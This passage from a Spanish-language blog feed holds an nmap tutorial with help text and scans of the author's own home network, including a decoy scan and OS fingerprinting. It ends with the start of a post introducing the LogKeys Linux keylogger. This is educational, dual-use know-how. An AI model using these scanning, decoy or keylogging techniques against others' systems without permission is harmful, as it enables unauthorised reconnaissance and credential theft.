dicha computadora, (esta técnica  es también conocida como &lt;a href="http://es.wikipedia.org/wiki/Fingerprinting"&gt;&lt;i&gt;fingerprinting&lt;/i&gt;&lt;/a&gt;).   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p&gt;Obtiene algunas características del hardware de red de la  máquina objeto de la prueba.   &lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="en"&gt;&lt;span style="font-weight: bold;"&gt;NOTA:&lt;/span&gt; Para ejecutar nmap con todas las características y las propiedades es aconsejable utilizarlo como usuario root. Cabe de aclarar que el manejo hoy demostrado en este post, es totalmente por terminal de comandos como usuario root.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Funcionamiento:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="en"&gt;Ejecutando Nmap por primera vez y leyendo la ayuda: &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="en"&gt;#nmap -h&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;Nmap 5.51 ( http://nmap.org )&lt;br /&gt;Usage: nmap [Scan Type(s)] [Options] {target specification}&lt;br /&gt;TARGET SPECIFICATION:&lt;br /&gt;Can pass hostnames, IP addresses, networks, etc.&lt;br /&gt;Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254&lt;br /&gt;-iL &lt;inputfilename&gt;: Input from list of hosts/networks&lt;br /&gt;-iR &lt;num hosts=""&gt;: Choose random targets&lt;br /&gt;--exclude &lt;host1[,host2][,host3],...&gt;: Exclude hosts/networks&lt;br /&gt;--excludefile &lt;exclude_file&gt;: Exclude list from file&lt;br /&gt;HOST DISCOVERY:&lt;br /&gt;-sL: List Scan - simply list targets to scan&lt;br /&gt;-sn: Ping Scan - disable port scan&lt;br /&gt;-Pn: Treat all hosts as online -- skip host discovery&lt;br /&gt;-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports&lt;br /&gt;-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes&lt;br /&gt;-PO[protocol list]: IP Protocol Ping&lt;br /&gt;-n/-R: Never do DNS resolution/Always resolve [default: sometimes]&lt;br /&gt;--dns-servers &lt;serv1[,serv2],...&gt;: Specify custom DNS servers&lt;br /&gt;--system-dns: Use OS's DNS resolver&lt;br /&gt;--traceroute: Trace hop path to each host&lt;br /&gt;SCAN TECHNIQUES:&lt;br /&gt;-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans&lt;br /&gt;-sU: UDP Scan&lt;br /&gt;-sN/sF/sX: TCP Null, FIN, and Xmas scans&lt;br /&gt;--scanflags &lt;flags&gt;: Customize TCP scan flags&lt;br /&gt;-sI &lt;zombie&gt;: Idle scan&lt;br /&gt;-sY/sZ: SCTP INIT/COOKIE-ECHO scans&lt;br /&gt;-sO: IP protocol scan&lt;br /&gt;-b &lt;ftp relay="" host=""&gt;: FTP bounce scan&lt;br /&gt;PORT SPECIFICATION AND SCAN ORDER:&lt;br /&gt;-p &lt;port ranges=""&gt;: Only scan specified ports&lt;br /&gt;Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9&lt;br /&gt;-F: Fast mode - Scan fewer ports than the default scan&lt;br /&gt;-r: Scan ports consecutively - don't randomize&lt;br /&gt;--top-ports &lt;number&gt;: Scan &lt;number&gt; most common ports&lt;br /&gt;--port-ratio &lt;ratio&gt;: Scan ports more common than &lt;ratio&gt;&lt;br /&gt;SERVICE/VERSION DETECTION:&lt;br /&gt;-sV: Probe open ports to determine service/version info&lt;br /&gt;--version-intensity &lt;level&gt;: Set from 0 (light) to 9 (try all probes)&lt;br /&gt;--version-light: Limit to most likely probes (intensity 2)&lt;br /&gt;--version-all: Try every single probe (intensity 9)&lt;br /&gt;--version-trace: Show detailed version scan activity (for debugging)&lt;br /&gt;SCRIPT SCAN:&lt;br /&gt;-sC: equivalent to --script=default&lt;br /&gt;--script=&lt;lua scripts=""&gt;: &lt;lua scripts=""&gt; is a comma separated list of&lt;br /&gt;      directories, script-files or script-categories&lt;br /&gt;--script-args=&lt;n1=v1,[n2=v2,...]&gt;: provide arguments to scripts&lt;br /&gt;--script-trace: Show all data sent and received&lt;br /&gt;--script-updatedb: Update the script database.&lt;br /&gt;OS DETECTION:&lt;br /&gt;-O: Enable OS detection&lt;br /&gt;--osscan-limit: Limit OS detection to promising targets&lt;br /&gt;--osscan-guess: Guess OS more aggressively&lt;br /&gt;TIMING AND PERFORMANCE:&lt;br /&gt;Options which take &lt;time&gt; are in seconds, or append 'ms' (milliseconds),&lt;br /&gt;'s' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).&lt;br /&gt;-T&amp;lt;0-5&amp;gt;: Set timing template (higher is faster)&lt;br /&gt;--min-hostgroup/max-hostgroup &lt;size&gt;: Parallel host scan group sizes&lt;br /&gt;--min-parallelism/max-parallelism &lt;numprobes&gt;: Probe parallelization&lt;br /&gt;--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout &lt;time&gt;: Specifies&lt;br /&gt; probe round trip time.&lt;br /&gt;--max-retries &lt;tries&gt;: Caps number of port scan probe retransmissions.&lt;br /&gt;--host-timeout &lt;time&gt;: Give up on target after this long&lt;br /&gt;--scan-delay/--max-scan-delay &lt;time&gt;: Adjust delay between probes&lt;br /&gt;--min-rate &lt;number&gt;: Send packets no slower than &lt;number&gt; per second&lt;br /&gt;--max-rate &lt;number&gt;: Send packets no faster than &lt;number&gt; per second&lt;br /&gt;FIREWALL/IDS EVASION AND SPOOFING:&lt;br /&gt;-f; --mtu &lt;val&gt;: fragment packets (optionally w/given MTU)&lt;br /&gt;-D &lt;decoy1,decoy2[,me],...&gt;: Cloak a scan with decoys&lt;br /&gt;-S &lt;ip_address&gt;: Spoof source address&lt;br /&gt;-e &lt;iface&gt;: Use specified interface&lt;br /&gt;-g/--source-port &lt;portnum&gt;: Use given port number&lt;br /&gt;--data-length &lt;num&gt;: Append random data to sent packets&lt;br /&gt;--ip-options &lt;options&gt;: Send packets with specified ip options&lt;br /&gt;--ttl &lt;val&gt;: Set IP time-to-live field&lt;br /&gt;--spoof-mac &lt;mac address="" prefix="" vendor="" name=""&gt;: Spoof your MAC address&lt;br /&gt;--badsum: Send packets with a bogus TCP/UDP/SCTP checksum&lt;br /&gt;OUTPUT:&lt;br /&gt;-oN/-oX/-oS/-oG &lt;file&gt;: Output scan in normal, XML, s|&lt;ript and="" grepable="" to="" the="" given="" oa="" basename=""&gt;: Output in the three major formats at once&lt;br /&gt;-v: Increase verbosity level (use -vv or more for greater effect)&lt;br /&gt;-d: Increase debugging level (use -dd or more for greater effect)&lt;br /&gt;--reason: Display the reason a port is in a particular state&lt;br /&gt;--open: Only show open (or possibly open) ports&lt;br /&gt;--packet-trace: Show all packets sent and received&lt;br /&gt;--iflist: Print host interfaces and routes (for debugging)&lt;br /&gt;--log-errors: Log errors/warnings to the normal-format output file&lt;br /&gt;--append-output: Append to rather than clobber specified output files&lt;br /&gt;--resume &lt;filename&gt;: Resume an aborted scan&lt;br /&gt;--stylesheet &lt;path url=""&gt;: XSL stylesheet to transform XML output to HTML&lt;br /&gt;--webxml: Reference stylesheet from Nmap.Org for more portable XML&lt;br /&gt;--no-stylesheet: Prevent associating of XSL stylesheet w/XML output&lt;br /&gt;MISC:&lt;br /&gt;-6: Enable IPv6 scanning&lt;br /&gt;-A: Enable OS detection, version detection, script scanning, and traceroute&lt;br /&gt;--datadir &lt;dirname&gt;: Specify custom Nmap data file location&lt;br /&gt;--send-eth/--send-ip: Send using raw ethernet frames or IP packets&lt;br /&gt;--privileged: Assume that the user is fully privileged&lt;br /&gt;--unprivileged: Assume the user lacks raw socket privileges&lt;br /&gt;-V: Print version number&lt;br /&gt;-h: Print this help summary page.&lt;br /&gt;EXAMPLES:&lt;br /&gt;nmap -v -A scanme.nmap.org&lt;br /&gt;nmap -v -sn 192.168.0.0/16 10.0.0.0/8&lt;br /&gt;nmap -v -iR 10000 -Pn -p 80&lt;br /&gt;SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES&lt;/dirname&gt;&lt;/path&gt;&lt;/filename&gt;&lt;/ript&gt;&lt;/file&gt;&lt;/mac&gt;&lt;/val&gt;&lt;/options&gt;&lt;/num&gt;&lt;/portnum&gt;&lt;/iface&gt;&lt;/ip_address&gt;&lt;/decoy1,decoy2[,me],...&gt;&lt;/val&gt;&lt;/number&gt;&lt;/number&gt;&lt;/number&gt;&lt;/number&gt;&lt;/time&gt;&lt;/time&gt;&lt;/tries&gt;&lt;/time&gt;&lt;/numprobes&gt;&lt;/size&gt;&lt;/time&gt;&lt;/n1=v1,[n2=v2,...]&gt;&lt;/lua&gt;&lt;/lua&gt;&lt;/level&gt;&lt;/ratio&gt;&lt;/ratio&gt;&lt;/number&gt;&lt;/number&gt;&lt;/port&gt;&lt;/ftp&gt;&lt;/zombie&gt;&lt;/flags&gt;&lt;/serv1[,serv2],...&gt;&lt;/exclude_file&gt;&lt;/host1[,host2][,host3],...&gt;&lt;/num&gt;&lt;/inputfilename&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Escaneando nuestra maquina local:&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="color: rgb(153, 0, 0); font-weight: normal;font-size:85%;" &gt;# nmap localhost &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: normal;font-size:85%;" &gt;Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-24 21:04 COT&lt;br /&gt;Nmap scan report for localhost (127.0.0.1)&lt;br /&gt;Host is up (0.0000080s latency).&lt;br /&gt;Not shown: 997 closed ports&lt;br /&gt;PORT     STATE SERVICE&lt;br /&gt;37/tcp   open  time&lt;br /&gt;113/tcp  open  auth&lt;br /&gt;1234/tcp open  hotline&lt;br /&gt;&lt;br /&gt;Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-weight: bold;"&gt;Buscar todas las IP's Activas en nuestra red:&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;   &lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="color: rgb(153, 0, 0); font-weight: normal;font-size:85%;" &gt;# nmap 192.168.0.0/24&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: normal;font-size:85%;" &gt;&lt;br /&gt;Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-24 21:07 COT&lt;br /&gt;Nmap scan report for 192.168.0.1&lt;br /&gt;Host is up (0.029s latency).&lt;br /&gt;Not shown: 997 closed ports&lt;br /&gt;PORT   STATE SERVICE&lt;br /&gt;21/tcp open  ftp&lt;br /&gt;23/tcp open  telnet&lt;br /&gt;80/tcp open  http&lt;br /&gt;MAC Address: 00:E0:4D:EF:7A:JH (Internet Initiative Japan)&lt;br /&gt;&lt;br /&gt;Nmap scan report for 192.168.0.10&lt;br /&gt;Host is up (0.0000080s latency).&lt;br /&gt;Not shown: 997 closed ports&lt;br /&gt;PORT     STATE SERVICE&lt;br /&gt;37/tcp   open  time&lt;br /&gt;113/tcp  open  auth&lt;br /&gt;1234/tcp open  hotline&lt;br /&gt;&lt;br /&gt;Nmap done: 256 IP addresses (2 hosts up) scanned in 11.37 seconds&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;o&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(153, 0, 0);font-size:85%;" &gt;#nmap -sP 192.168.0.*&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-24 21:14 COT&lt;br /&gt;Nmap scan report for 192.168.0.1&lt;br /&gt;Host is up (0.0019s latency).&lt;br /&gt;MAC Address: 00:E0:4D:4D:7A:DC (Internet Initiative Japan)&lt;br /&gt;Nmap scan report for 192.168.0.5&lt;br /&gt;Host is up.&lt;br /&gt;Nmap done: 256 IP addresses (2 hosts up) scanned in 10.76 seconds&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;&lt;span style="font-weight: normal;"&gt;  &lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-weight: bold;"&gt;Obtener una lista de ips con un puerto especifico abierto:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-weight: normal; font-style: italic;"&gt;En nuestro caso vamos a a decirle a nmap que busque en toda mi red local, las ips que tengan el puerto TCP 1234 abierto:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="color: rgb(153, 0, 0);font-size:85%;" &gt;&lt;span style="font-weight: normal;"&gt;#nmap -sT -p 1234 -oG - 192.168.0.0/24 | grep open &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt; &lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;&lt;span style="font-weight: normal;"&gt;Host: 192.168.0.5 ()    Ports: 1234/open/tcp//hotline///&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="font-weight: bold;"&gt;Hacer ping a un rango de IP's para detectar las activas:&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="color: rgb(153, 0, 0);font-size:85%;" &gt;#nmap -sP 192.168.0.1-10&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-24 21:17 COT&lt;br /&gt;Nmap scan report for 192.168.0.1&lt;br /&gt;Host is up (0.0011s latency).&lt;br /&gt;MAC Address: 00:E0:4D:4D:7A:DC (Internet Initiative Japan)&lt;br /&gt;Nmap scan report for 192.168.0.5&lt;br /&gt;Host is up.&lt;br /&gt;Nmap done: 10 IP addresses (2 hosts up) scanned in 0.73 seconds&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="font-weight: bold;"&gt;Escanear una IP utilizando un señuelo: &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="color: rgb(153, 0, 0); font-weight: normal;font-size:85%;" &gt;# nmap 192.168.0.1 -D 192.168.0.100&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;&lt;span style="font-weight: normal;"&gt;Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-24 21:22 COT&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;Nmap scan report for 192.168.0.1&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;Host is up (0.050s latency).&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;Not shown: 997 closed ports&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;PORT   STATE SERVICE&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;21/tcp open  ftp&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;23/tcp open  telnet&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;80/tcp open  http&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;MAC Address: 00:E0:4D:4D:7A:DC (Internet Initiative Japan)&lt;/span&gt;  &lt;span style="font-weight: normal;"&gt;Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Un escaneo mas completo hacia una IP: Mi Router&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-weight: normal; color: rgb(153, 0, 0);font-size:85%;" &gt;#nmap -sS -PO -sV -O 192.168.0.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: normal; color: rgb(0, 102, 0);font-size:85%;" &gt;Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-24 21:24 COT&lt;br /&gt;&lt;br /&gt;Nmap scan report for 192.168.0.1&lt;br /&gt;Host is up (0.0079s latency).&lt;br /&gt;Not shown: 997 closed ports&lt;br /&gt;PORT   STATE SERVICE VERSION&lt;br /&gt;21/tcp open  ftp?&lt;br /&gt;23/tcp open  telnet?&lt;br /&gt;80/tcp open  http    Allegro RomPager 4.07 UPnP/1.0 (ZyXEL ZyWALL 2)&lt;br /&gt;MAC Address: 00:E0:4D:4D:7A:DC (Internet Initiative Japan)&lt;br /&gt;Device type: broadband router|switch|storage-misc&lt;br /&gt;Running: Huawei embedded, ZyXEL ZyNOS 3.X, NexStor embedded&lt;br /&gt;OS details: Huawei SmartAX MT800u-T ADSL router, ZyXEL ES-4024A switch, or ZyXEL Prestige 650HW ADSL router, NexStor Nexsan ATABoy2x NAS device&lt;br /&gt;Network Distance: 1 hop&lt;br /&gt;&lt;br /&gt;OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .&lt;br /&gt;Nmap done: 1 IP address (1 host up) scanned in 8.75 seconds&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Escaneo mas completo hacia mi maquina local:&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-weight: normal; color: rgb(153, 0, 0);font-size:85%;" &gt;# nmap -sS -PO -sV -O 192.168.0.5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: normal; color: rgb(0, 102, 0);font-size:85%;" &gt;Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-24 21:25 COT&lt;br /&gt;Nmap scan report for 192.168.0.5&lt;br /&gt;Host is up (0.000044s latency).&lt;br /&gt;Not shown: 997 closed ports&lt;br /&gt;PORT     STATE SERVICE VERSION&lt;br /&gt;37/tcp   open  time    (32 bits)&lt;br /&gt;113/tcp  open  ident&lt;br /&gt;1234/tcp open  ssh     OpenSSH 5.8 (protocol 2.0)&lt;br /&gt;Device type: general purpose&lt;br /&gt;Running: Linux 2.6.X&lt;br /&gt;OS details: Linux 2.6.19 - 2.6.36&lt;br /&gt;Network Distance: 0 hops&lt;br /&gt;&lt;br /&gt;OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .&lt;br /&gt;Nmap done: 1 IP address (1 host up) scanned in 8.08 seconds&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Como asi mas completo ?&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-weight: normal;"&gt;Pues en los dos anteriores ejemplos; se estan habilitando las siguientes banderillas: &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;em&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;-sS&lt;/strong&gt;&lt;/em&gt; escaneo SYN TCP.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;-P0&lt;/strong&gt;&lt;/em&gt; desactiva ping (ICMP).&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;-sV&lt;/strong&gt;&lt;/em&gt; activa la deteccion de versiones.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;-O&lt;/strong&gt;&lt;/em&gt; activa la deteccion del sistema operativo.&lt;br /&gt;&lt;br /&gt;Otras opciones:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;-A&lt;/strong&gt;&lt;/em&gt; activa la deteccion del sistema operativo, deteccion de version y traceroute.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;-v&lt;/strong&gt;&lt;/em&gt; muestra mas detalles. Usa dos o mas para mas detalles.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;NOTA: &lt;span style="font-weight: normal;"&gt;Como pueden notar en los ultimos dos escaneos, el nmap detecto que el puerto de mi maquina&lt;span style="font-weight: bold;"&gt; 1234 &lt;/span&gt;era un &lt;span style="font-weight: bold;"&gt;servicio de ssh&lt;/span&gt;, y en los primeros escaneos, detecto que era un servicio &lt;span style="font-weight: bold;"&gt;hotline&lt;/span&gt;.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-weight: normal;"&gt;Gracias ... &lt;/span&gt; &lt;span style="font-weight: normal;"&gt;espero les halla gustado.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-7591543215096033836?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/7591543215096033836/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/nmap-escaner-de-redes.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/7591543215096033836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/7591543215096033836'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/nmap-escaner-de-redes.html' title='Nmap - Escaner de redes'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-6uCmiUy0JTs/TqYgyXRplbI/AAAAAAAABZ0/PGV--kUl0Kg/s72-c/nMap.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-8154072372853206960</id><published>2011-10-24T16:01:00.000-07:00</published><updated>2011-10-25T22:30:21.906-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='KeyLoggers'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='LogKeys'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>LogKeys - Keylogger en Linux</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-eTxcpMX4iH4/TqXwzdDWZyI/AAAAAAAABZo/T3Gpc-B0Z_8/s1600/keylogger.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://3.bp.blogspot.com/-eTxcpMX4iH4/TqXwzdDWZyI/AAAAAAAABZo/T3Gpc-B0Z_8/s320/keylogger.png" alt="" id="BLOGGER_PHOTO_ID_5667200472878311202" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Que es logkeys ?&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;logkeys es un keylogger Linux (GNU / Linux solamente). No es más avanzado que otros keyloggers linux disponible, pero es un poco más estable  hasta la fecha y nunca se debe bloquear el entorno grafico X; ademas trabaja con teclados USB y Seriales.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;a name="result_box1"&gt;&lt;/a&gt;Se basa en la interfaz de eventos del subsistema de entrada de Linux. Una vez establecido, registra todos los caracteres comunes y las teclas de función, además de ser plenamente consciente de la tecla Mayús y modificaciones con ALT-GR.&lt;/p&gt;&lt;p style="margin-bottom: 0in" lang="es-ES"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in" lang="es-ES"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;" lang="es-ES"&gt;Que es un Keylogger ?&lt;/p&gt;  &lt;p lang="es-ES"&gt;Un &lt;i&gt;&lt;b&gt;keylogger&lt;/b&gt;&lt;/i&gt; (derivado del inglés: &lt;i&gt;key&lt;/i&gt; (tecla) y &lt;i&gt;logger&lt;/i&gt; (registrador); registrador de teclas) es un tipo de &lt;a href="http://es.wikipedia.org/wiki/Software"&gt;software&lt;/a&gt; o un dispositivo &lt;a href="http://es.wikipedia.org/wiki/Hardware"&gt;hardware&lt;/a&gt; específico que se encarga de registrar las pulsaciones que se realizan en el &lt;a href="http://es.wikipedia.org/wiki/Teclado_de_ordenador"&gt;teclado&lt;/a&gt;, para posteriormente memorizarlas en un &lt;a href="http://es.wikipedia.org/wiki/Archivo_inform%C3%A1tico"&gt;fichero&lt;/a&gt; o enviarlas a través de &lt;a href="http://es.wikipedia.org/wiki/Internet"&gt;internet&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Suele usarse como &lt;a href="http://es.wikipedia.org/wiki/Malware"&gt;malware&lt;/a&gt; del tipo &lt;a href="http://es.wikipedia.org/wiki/Daemon_%28inform%C3%A1tica%29"&gt;daemon&lt;/a&gt;, permitiendo que otros usuarios tengan acceso a contraseñas importantes, como los &lt;a href="http://es.wikipedia.org/wiki/N%C3%BAmero"&gt;números&lt;/a&gt; de una &lt;a href="http://es.wikipedia.org/wiki/Tarjeta_de_cr%C3%A9dito"&gt;tarjeta de crédito&lt;/a&gt;, u otro tipo de &lt;a href="http://es.wikipedia.org/wiki/Informaci%C3%B3n"&gt;información&lt;/a&gt; privada que se quiera obtener.&lt;/p&gt; &lt;p&gt;El registro de lo que se teclea puede hacerse tanto con medios de hardware como de software. Los sistemas comerciales disponibles incluyen dispositivos que pueden conectarse al cable del teclado (lo que los hace inmediatamente disponibles pero visibles si un usuario revisa el teclado) y al teclado mismo (que no se ven pero que se necesita algún conocimiento de como soldarlos para instalarlos en el 